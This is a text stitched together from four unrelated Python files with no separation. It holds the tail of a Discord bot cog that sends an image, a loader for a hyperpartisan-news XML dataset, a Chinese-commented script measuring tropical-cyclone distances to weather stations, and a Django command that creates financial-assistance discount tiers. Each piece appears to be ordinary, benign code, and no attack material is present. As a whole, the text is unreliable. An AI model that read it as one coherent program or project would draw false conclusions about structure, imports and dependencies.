        # --- sending image ---

        # create buffer
        buffer_output = io.BytesIO()

        # save PNG in buffer
        image.save(buffer_output, format='PNG')

        # move to beginning of buffer so `send()` it will read from beginning
        buffer_output.seek(0)

        # send image
        await ctx.send(file=File(buffer_output, 'myimage.png'))

def setup(bot):
    bot.add_cog(image(bot))


"""
 File for  loading the given dataset "byarticles" or "bypublisher".
"""
import argparse
import re
from bs4 import BeautifulSoup
import json

parser = argparse.ArgumentParser()
parser.add_argument("--dataset", help="Choose 'byarticles' or 'bypublisher' (no quotes)")

arg = parser.parse_args()

class Loader():
	html_regex = '<.*?>|&([a-z0-9]+|#[0-9]{1,6}|#x[0-9a-f]{1,6});'

	def load_byarticles(self):
		articles = open("dataset/articles-training-byarticle-20181122.xml", "r")
		groundtruth = open("dataset/ground-truth-training-byarticle-20181122.xml", "r")

		return articles, groundtruth

	def load_bypublisher(self):
		articles_training = open("dataset/articles-training-bypublisher-20181122.xml", "r")
		groundtruth_training = open("dataset/ground-truth-training-bypublisher-20181122.xml", "r")
		articles_val = open("dataset/articles-validation-bypublisher-20181122.xml", "r")
		groundtruth_val = open("dataset/ground-truth-validation-bypublisher-20181122.xml", "r")

		return articles_training, groundtruth_training, articles_val, groundtruth_val

	def preprocessing(self, X, Y):

		X , Y= X.read(), Y.read()
		X, Y = X.split("<article "), Y.split("<article ")

		dataX, dataY = [], []
		for article, label in zip(X[1:], Y[1:]):
			# replace '\n', '\r' and '\t' to '.'
			article = article.replace("\n", ". ")
			article = article.replace("\r", ". ")
			article = article.replace("\t", ". ")

			# get text (title + content)
			article = re.findall(r"title=.*</article>", article, 0)

			# split text by paragraph
			article = article[0].split("<p>")
			article = ' '.join(article)

			# remove HTML tags from article text
			article = BeautifulSoup(article, "lxml").text

			# replace 'title="', '">' and '\'
			article = article.replace("title=\"", "")
			article = article.replace("\">", "")
			article = article.replace("\'", "'")
			article = article.replace(" _", " ")
			article = article.replace("–", "-")
			article = article.replace("”", "\"")
			article = article.replace("“", "\"")
			article = article.replace("’", "'")

			# Get hyperpartisan label
			label = re.findall("hyperpartisan=\"\w+\"", label)

			if "true" in label[0]:
				dataY.append(1) # it is hyperpartisan
			elif "false" in label[0]:
				dataY.append(0) # it isn't

			dataX.append([article])

		return dataX, dataY

loader = Loader()
if arg.dataset == "byarticles":
	X, Y = loader.load_byarticles()

	X, Y = loader.preprocessing(X, Y)

	with open("processed_data/articles-byarticles-training.json", "w") as f:
		json.dump(X, f)

	with open("processed_data/groundtruth-byarticles-training.json", "w") as f:
		json.dump(Y, f)

	print("OK. Loading byarticles done. Processed data saved in folder processed_data/")

elif arg.dataset == "bypublisher":
	print("Not implemented yet")


# -*- coding: utf-8 -*-
"""
Created on Wed Dec 22 10:23:29 2021
# 根据直接降水确定风暴影响半径
注意path1_save和path2_save的文件夹里2000年以前是BJT，2000以后则是UTC
@author: Lenovo
"""

import os
import pandas as pd

pic_dir="F:\\snow_related\\pic\\tc\\"

# path_file ='F:\\snow_sts_data\\zj\\after2000\\xiaoting\\'
# path1_save="F:\\snow_sts_data\\zj\\after2000\\deal\\"
# path2_save="F:\\snow_sts_data\\zj\\after2000\\dist_all\\"
# path_tc="F:\\snow_sts_data\\TC\\BoB_ymdh_utc_lon_lat.txt"

path_file ='F:\\snow_sts_data\\zj\\before2000\\xiaoting\\'
path1_save="F:\\snow_sts_data\\zj\\before2000\\deal\\"
path2_save="F:\\snow_sts_data\\zj\\before2000\\dist_all\\"
path_tc="F:\\snow_sts_data\\TC\\BoB_ymdh_bjt_lon_lat.txt"

#%% 处理降水数据时间
# # step1 将2000年以后的降水数据时间转换为UTC
# import datetime
# f_list1 = os.listdir(path_file)
# for file in f_list1:
#     info=pd.read_table(path_file+file,sep = "\s+",encoding='gbk',
#                         header=None,names=['station','lon','lat'],
#                         usecols=[0,1,2])
#     time0='20'+file[0:8]
#     time1= datetime.datetime.strptime(time0, '%Y%m%d%H') #字符串变时间
#     time2=time1-datetime.timedelta(hours=32) #往前32h,to prep start UTC
#     time3=time2.strftime('%Y%m%d%H')[0:8]
#     info['time'] = time3 #时间变字符串,并提取年月日
#     info.to_csv(path1_save+time3+'.txt',index = False,sep='\t',
#               columns=['station','lon','lat','time'])

# # step2 将2000年以前的文件名改成yyyymmdd
# f_list1 = os.listdir(path_file)
# for file in f_list1:
#     info=pd.read_table(path_file+file,sep = "\s+",encoding='gbk',
#                         header=None,names=['station','lon','lat'],
#                         usecols=[0,1,2])
#     time0=file[3:11]
#     info['time'] = time0 #时间变字符串,并提取年月日
#     info.to_csv(path1_save+time0+'.txt',index = False,sep='\t',
#               columns=['station','lon','lat','time'])

#%% 计算风暴影响半径，2000以后UTC，2000以前BJT
# from math import sin,radians,cos,asin,sqrt
# import numpy as np

# def SphereDistance(lon1, lat1, lon2, lat2):
#     radius = 6371.0 # radius of Earth, unit:KM
#     # degree to radians
#     lon1, lat1,lon2, lat2 = map(radians,[lon1, lat1,lon2, lat2])
#     dlon = lon2 -lon1
#     dlat = lat2 -lat1
#     arg  = sin(dlat*0.5)**2 +  \
#             cos(lat1)*cos(lat2)*sin(dlon*0.5)**2
#     dist = 2.0 * radius * asin(sqrt(arg))
#     return dist

# # 函数：根据站点经纬度，时间，返回当天各个时次距离的平均值
# def ave_dist(station,sta_time,sta_lat,sta_lon,path_tc):
#     tc_save = [] #保存影响时刻的台风信息
#     dist_info=[] #保存各影响时刻的距离
#     tc_info =pd.read_table(path_tc,sep = "\t")
#     tc_id=tc_info['tc_id'].tolist()
#     yyyymmddhh=tc_info['bjt'].tolist()
#     lat_tc=tc_info['lat_tc'].tolist()
#     lon_tc=tc_info['lon_tc'].tolist()
#     N=len(lon_tc)
#     for i in range(0,N):
#         newLine = ['station','sta_lat','sta_lon','tc_id', 'time',
#                     'tc_lat', 'tc_lon']
#         if str(yyyymmddhh[i])[0:8]==sta_time:
#             dist_tc2sta = SphereDistance(lon_tc[i],lat_tc[i],sta_lon,sta_lat)
#             newLine[0] = station
#             newLine[1] = sta_lat
#             newLine[2] = sta_lon
#             newLine[3] = tc_id[i]
#             newLine[4] = str(yyyymmddhh[i])
#             newLine[5] = lat_tc[i]
#             newLine[6] = lon_tc[i]
#             # print(newLine)
#             if newLine not in tc_save:
#                 tc_save.append(newLine)
#                 dist_info.append(dist_tc2sta)
#     if len(tc_save)>0:
#         dist_ave=np.mean(dist_info)
#         print(tc_save)
#         print(dist_info)
#         print(dist_ave)
#     else:
#         dist_ave=-9999.
#         print(str(station)+'在'+str(sta_time)+'期间无风暴记录！')
#     return dist_ave

# # test one statino
# # station = '55960'
# # sta_lat = 27.98
# # sta_lon = 91.95
# # sta_time='20001027'
# # ave_dist(station,sta_time,sta_lat,sta_lon,tc_list)

# file_list=os.listdir(path1_save)
# for file in file_list:
#     info=pd.read_table(path1_save+file,sep = "\t",encoding='gbk')
#     station=info['station'].tolist()
#     sta_lat=info['lat'].tolist()
#     sta_lon=info['lon'].tolist()
#     sta_time=info['time'].tolist()
#     npts=len(station)
#     dist_list=[]
#     for i in range(0,npts):
#         dist_list.append(ave_dist(station[i],str(sta_time[i]),sta_lat[i],
#                                   sta_lon[i],path_tc))
#     info['dist']=dist_list
#     info.to_csv(path2_save+file,sep='\t',index=False)
#     del info

#%%  step3 分别读取两段时期的影响半径
path_dist1="F:\\snow_sts_data\\zj\\before2000\\dist_all\\"
path_dist2="F:\\snow_sts_data\\zj\\after2000\\dist_all\\"

dist_list1=os.listdir(path_dist1)
info1=[]
for file in dist_list1:
    info1.append(pd.read_table(path_dist1+file,sep = "\t",encoding='utf-8',
                              na_values=-9999.))
df1           = pd.concat(info1,ignore_index=True)
dist_list2=os.listdir(path_dist2)
info2=[]
for file in dist_list2:
    info2.append(pd.read_table(path_dist2+file,sep = "\t",encoding='utf-8',
                              na_values=-9999.))
df2          = pd.concat(info2,ignore_index=True)
df           = pd.concat([df1,df2],ignore_index=True)

ave_dist      =df['dist'].mean()
path_sta     ='F:\\snow_sts_data\\after_quality_control\\tp_sta_info_by2014.txt'
tp_sta_info  =pd.read_table(path_sta,sep = ",")
df_tp        =df[df.station.isin(tp_sta_info['station'])].reset_index(drop=True)
ave_dist_tp  =df_tp['dist'].mean()
print('所有站点计算出的平均风暴影响半径:',ave_dist)
print('高原站点计算出的平均风暴影响半径:',ave_dist_tp)

# 没啥用
# # tp_500 = df_tp[df_tp['dist']<=500].shape[0]
# # tp_500_1000 = df_tp[(df_tp['dist']<=1000) & (df_tp['dist']>500)].shape[0]
# # tp_1000_1500 = df_tp[(df_tp['dist']<=1500) & (df_tp['dist']>1000)].shape[0]
# # tp_1500_2000 = df_tp[(df_tp['dist']<=2000) & (df_tp['dist']>1500)].shape[0]
# # tp_2000_2500 = df_tp[(df_tp['dist']<=2500) & (df_tp['dist']>2000)].shape[0]
# # tp_2500 = df_tp[df_tp['dist']>2500].shape[0]

#%% 绘图  概率密度图
from scipy import stats, integrate
import seaborn as sns
import matplotlib.pyplot as plt

sns.set_style('white')
# 图表风格设置
# 风格选择包括："white", "dark", "whitegrid", "darkgrid", "ticks"
plt.figure(figsize=(6,4))#绘制画布
sns.distplot(df_tp['dist'],hist = False,kde = True,rug = True,
              rug_kws = {'color':'goldenrod','lw':0.05,'alpha':0.5,'height':0.1} ,
              # 设置数据频率分布颜色#控制是否显示观测的小细条（边际毛毯）
              kde_kws={"color": 'goldenrod', "lw": 1.5, 'linestyle':'--'},
              # 设置密度曲线颜色，线宽，标注、线形，#控制是否显示核密度估计图
              label = 'TP station distance')
sns.distplot(df['dist'],hist = False,kde = True,rug = True,
              rug_kws = {'color':'g','lw':0.05,'alpha':0.5,'height':0.03} ,
              kde_kws={"color": 'g', "lw": 1.5, 'linestyle':'--'},
              label = 'All station distance')
plt.axvline(ave_dist_tp,color='goldenrod',linestyle=":",alpha=0.8)
plt.text(ave_dist_tp+2,0.0005,'TP_sta_mean: %.0fkm' % (ave_dist_tp), color = 'goldenrod')

plt.axvline(ave_dist,color='g',linestyle=":",alpha=0.8)
plt.text(ave_dist+2,0.0004,'All_sta_mean: %.0fkm' % (ave_dist), color = 'g')

plt.ylim([0,0.0009]) #设置坐标上下限
# plt.xlim([-500,5500]) #设置坐标上下限
plt.xlabel('Distance (km)',fontsize=12)
plt.ylabel('Density',fontsize=12)
plt.grid(linestyle = '--')     # 添加网格线
plt.title("Distance between TCs and stations")  # 添加图表名
pic_dir="F:\\snow_related\\pic\\tc\\"
plt.savefig(pic_dir+'prebyxiaoting.jpg', dpi=750, bbox_inches = 'tight')

# # xx=pd.concat([df_tp['dist'],df['dist']],axis=1,keys=['TP station','All station'])
# # sns.ecdfplot(data=xx)

#%% 计算百分位数
# cum_tp=df_tp['dist'].quantile([0,0.25,0.5,0.75,0.8,0.9,0.95,1])    #分位数
# cum_all=df['dist'].quantile([0,0.25,0.5,0.75,0.8,0.9,0.95,1])

#%% 绘图  箱线图

# import seaborn as sns
# import matplotlib.pyplot as plt
# from matplotlib.pyplot import MultipleLocator

# plt.figure(figsize=(5,4))#绘制画布
# sns.set_style('ticks')
# # # 风格设置，选择包括："white", "dark", "whitegrid", "darkgrid", "ticks"
# data = pd.DataFrame({"All stations": df['dist'], "TP stations": df_tp['dist']})
# sns.boxplot(data=data,width=0.4,saturation=0.8,fliersize=1.5,
#             capprops=dict(color='red',linewidth=1.0))

# plt.yticks(range(0,5050,500))
# #whis默认值为whis=1.5,
# #IQR(Inter-Quartile Range)=Q3-Q1
# #上限为数列中不超过Q3+1.5*IQR的最大值，下限为数列中不小于Q1-1.5*IQR的最小值
# plt.ylabel("Distance (km)")
# # plt.xlabel("xlabel") # 我们设置横纵坐标的标题
# y_minor_locator=MultipleLocator(100)
# ax = plt.gca()#获取边框
# ax.yaxis.set_minor_locator(y_minor_locator)
# ax.spines['top'].set_color('black')
# ax.spines['bottom'].set_color('black')
# ax.spines['left'].set_color('black')
# ax.spines['right'].set_color('black')
# plt.savefig(pic_dir+'box_prebyxiaoting.jpg', dpi=750, bbox_inches = 'tight')
# plt.show() #先保存才能plot.show


"""
Ensures there's a basic set of records present for financial assistance to work
for a program or course.

For a course, this includes:
- Ensuring the course is available

For a program, this includes:
- A program (required for the tiers to be set up)

For both, this includes:
- A set of discounts, specific to the program
- Tiers that are tied to these discounts

For more info on how this works, see the docs in
docs/source/commands/configure_tiers.rst.

"""
import csv
from argparse import FileType
from datetime import date, datetime

import pytz
from django.conf import settings
from django.contrib.contenttypes.models import ContentType
from django.core.management import BaseCommand, CommandError

from courses.models import Course, Program
from ecommerce.constants import (
    PAYMENT_TYPE_FINANCIAL_ASSISTANCE,
    REDEMPTION_TYPE_UNLIMITED,
)
from ecommerce.models import Discount
from flexiblepricing.models import FlexiblePriceTier

class Command(BaseCommand):
    """
    Sets up tiers and discounts for a specified program or course (or DEDP, by default)
    """

    help = "Sets up tiers and discounts for a specified program or course (or DEDP, by default)"
    PROGRAM_READABLE_ID = "program-v1:MITx+DEDP"
    PROGRAM_TITLE = "Data, Economics and Development Policy"
    PROGRAM_ABBREV = "DEDP"

    def add_arguments(self, parser) -> None:
        parser.add_argument("--course", type=str, help="Course ID to use", nargs="?")
        parser.add_argument(
            "--program",
            type=str,
            help=f"Program readable ID to use (default {self.PROGRAM_READABLE_ID})",
            nargs="?",
            default=self.PROGRAM_READABLE_ID,
        )
        parser.add_argument(
            "--program-name",
            type=str,
            help=f"Program name/title to use (default {self.PROGRAM_TITLE})",
            nargs="?",
            default=self.PROGRAM_TITLE,
        )
        parser.add_argument(
            "--program-abbrev",
            type=str,
            help=f"Program abbreviation (to use in discount code names, default {self.PROGRAM_ABBREV})",
            nargs="?",
            default=self.PROGRAM_ABBREV,
        )
        parser.add_argument(
            "--tier-info",
            type=FileType(mode="r"),
            help=f"Tiers to create (in CSV format: threshold,discount type,discount amount)",
        )

    def handle(self, *args, **kwargs):  # pylint: disable=unused-argument
        # Set defaults

        try:
            course = (
                Course.objects.get(readable_id=kwargs["course"])
                if "course" in kwargs and kwargs["course"] is not None
                else None
            )
        except:
            raise CommandError(
                f"Couldn't find the course {kwargs['course']}, stopping."
            )

        discount_abbrev = (
            (
                kwargs["program_abbrev"]
                if "program_abbrev" in kwargs
                else self.PROGRAM_ABBREV
            )
            if not course
            else course.readable_id
        )

        current_year = date.today().year
        last_year = datetime(
            current_year - 1, 1, 1, tzinfo=pytz.timezone(settings.TIME_ZONE)
        )
        discounts_and_tiers = [
            {
                "tier": {"threshold": 0},
                "discount": {
                    "discount_code": f"{discount_abbrev}-fa-tier1-{current_year}",
                    "discount_type": "dollars-off" if not course else "percent-off",
                    "amount": 750 if not course else 75,
                },
            },
            {
                "tier": {"threshold": 25000},
                "discount": {
                    "discount_code": f"{discount_abbrev}-fa-tier2-{current_year}",
                    "discount_type": "dollars-off" if not course else "percent-off",
                    "amount": 650 if not course else 50,
                },
            },
            {
                "tier": {"threshold": 50000},
                "discount": {
                    "discount_code": f"{discount_abbrev}-fa-tier3-{current_year}",
                    "discount_type": "dollars-off" if not course else "percent-off",
                    "amount": 500 if not course else 25,
                },
            },
            {
                "tier": {"threshold": 75000},
                "discount": {
                    "discount_code": f"{discount_abbrev}-fa-tier4-{current_year}",
                    "discount_type": "percent-off",
                    "amount": 0,
                },
            },
        ]
        content_type = (
            ContentType.objects.filter(app_label="courses", model="program").first()
            if not course
            else ContentType.objects.filter(app_label="courses", model="course").first()
        )

        # Step zero: if the user supplied a defaults file, then parse that

        if "tier_info" in kwargs and kwargs["tier_info"] is not None:
            discounts_and_tiers = []
            found_zero_tier = False

            self.stdout.write("Reading tier info from file...")

            with kwargs["tier_info"] as tierfile:
                csvreader = csv.DictReader(
                    tierfile, fieldnames=("threshold", "type", "value")
                )
                for idx, row in enumerate(csvreader):
                    self.stdout.write(
                        f"Read tier: threshold {row['threshold']}, discount type {row['type']}, value {row['value']}"
                    )
                    discounts_and_tiers.append(
                        {
                            "tier": {"threshold": row["threshold"]},
                            "discount": {
                                "discount_code": f"{discount_abbrev}-fa-tier{idx+1}-{current_year}",
                                "discount_type": row["type"],
                                "amount": row["value"],
                            },
                        }
                    )

                    if int(row["threshold"]) == 0:
                        found_zero_tier = True

            self.stdout.write(f"Got {len(discounts_and_tiers)} tiers.")

            if not found_zero_tier:
                self.stdout.write(
                    self.style.ERROR(
                        "No zero tier specified in the tier info. This is a requirement - giving up."
                    )
                )
                return

        # Step one: get the DEDP program
        if not course:
            readable_id = (
                kwargs["program"] if "program" in kwargs else self.PROGRAM_READABLE_ID
            )
            program_title = (
                kwargs["program_name"]
                if "program_name" in kwargs
                else self.PROGRAM_TITLE
            )

            self.stdout.write(
                f"Setting up the program {program_title} ({readable_id})..."
            )
            (program, created) = Program.objects.update_or_create(
                readable_id=readable_id,
                defaults={"title": program_title, "live": True},
            )
            if created:
                self.stdout.write(f"Created new program {program.id}")
            else:
                self.stdout.write(f"Using existing program {program.id}")

        # Step two: get existing discounts
        discounts = Discount.objects.filter(
            discount_code__startswith=f"{discount_abbrev}-fa-tier",
            discount_code__endswith=str(current_year),
        ).all()
        self.stdout.write(f"{len(discounts)} existing {discount_abbrev} discounts")

        matched_discounts = []

        # Step three: process any extant discounts
        # We need one each with the settings noted in the docs above
        courseware = course if course else program

        for tier_config in discounts_and_tiers:
            self.stdout.write(
                f"Looking for {tier_config['discount']['amount']} {tier_config['discount']['discount_type']} discount for threshold {tier_config['tier']['threshold']}"
            )
            found_discount = None

            for discount in discounts:
                if (
                    discount.valid_now()
                    and tier_config["discount"]["discount_type"]
                    == discount.discount_type
                    and tier_config["discount"]["amount"] == discount.amount
                ):
                    found_discount = discount
                    self.stdout.write(f"\tFound a discount ({discount.discount_code})")
                    break

            if not found_discount:
                found_discount = Discount(
                    **tier_config["discount"],
                    payment_type=PAYMENT_TYPE_FINANCIAL_ASSISTANCE,
                    redemption_type=REDEMPTION_TYPE_UNLIMITED,
                )
                found_discount.save()
                self.stdout.write(f"\tCreated new discount ID {found_discount.id}")

            matched_discounts.append(found_discount)

            (tier, created) = FlexiblePriceTier.objects.update_or_create(
                income_threshold_usd=tier_config["tier"]["threshold"],
                courseware_object_id=courseware.id,
                courseware_content_type=content_type,
                defaults={"discount": found_discount, "current": True},
            )

            if created:
                self.stdout.write(
                    f"\tCreated new tier for threshold {tier_config['tier']['threshold']} - ID {tier.id}"
                )
            else:
                self.stdout.write(
                    f"\tUpdated existing tier ID {tier.id} for threshold {tier_config['tier']['threshold']}"
                )

        unmatched_discounts_qset = Discount.objects.filter(
            discount_code__startswith=f"{discount_abbrev}-fa-tier"
        ).exclude(id__in=[discount.id for discount in matched_discounts])

        unmatched_discounts = unmatched_discounts_qset.update(expiration_date=last_year)

        self.stdout.write(f"{unmatched_discounts} discounts expired")

        unmatched_tiers = FlexiblePriceTier.objects.filter(
            courseware_object_id=courseware.id,
            courseware_content_type=content_type,
            discount__in=unmatched_discounts_qset.all(),
        ).update(current=False)

        self.stdout.write(f"{unmatched_tiers} tiers deactivated")